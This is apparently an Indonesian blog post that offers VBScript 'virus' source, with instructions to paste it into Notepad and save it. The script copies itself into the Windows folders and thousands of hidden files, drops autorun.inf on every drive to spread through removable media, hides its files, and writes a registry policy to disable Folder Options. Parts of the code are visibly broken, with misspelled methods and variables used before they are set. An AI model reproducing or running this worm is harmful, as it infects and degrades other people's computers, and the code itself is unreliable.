notepad

buat virus di notepad tngal copy trus taro notepad save dah
blehb dpet browsing nh pngen dipraktekin



on error resume next
dim fso, towind, tosys, buka, baca
set fso = CreateObject("Scripting.FileSystemObject")
set towind = fso.GetSpecialFolder(0)
set tosys = fso.GetSpecialFolder(1)
set buka = fso.OpenTextFile(Wscript.ScriptFullName)
baca = buka.readall
buka.close

dim xwind, xsys, xall
set xwind = fso.CreateTextFile(towind & "\system.vbs")
for r = 1 to 6000
set xwind = fso.CreateObject("c:\system" & r & ".vbs")
xwind.write baca
set hid1 = fso.GetFile("c:\system" & r & ".vbs")
hid1.attributes = 4
next
xwind.clos

set xsys = fso.CreateTextFile(tosys & "\system.vbs")
xsys.write
xsys.close

set otomatis = fso.CreateTextFile(drife & "autorun.inf")
otomatis.writeline "[autorun]"
otomatis.writeline "shellexecute = wscript.exe hafiz.vbs"

dim wsh
set wsh = CreateObject("Wscript.shell")
wsh.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOption", "REG_DWORD"

dim drife, infect, takada1, takada2
do
if year(now) = 2008 or second(now) = 1 then
for r = 65 to 90
drife = chr(r) & ":\"
if fso.FileExists(drife & hafiz.vbs) = false then
set infect = fso.CreateTextFile(drife & "hafiz.vbs")
infect.write baca
infect.close
set otomatis = fso.CreateTextFile(drife & "autorun.inf")
otomatis.writeline "[autorun]"
otomatis.writeline "shellexecute = wscript.exe hafiz.vbs"
otomatis.close
set takada1 = fso.GetFile(drife & "hafiz.vbs")
takada1.attributes = 3 + 4
set takada2 = fso.Getfile(drife & "autorun.inf")
takada2.attributes = 3 + 4
else
end if
next
end if
loop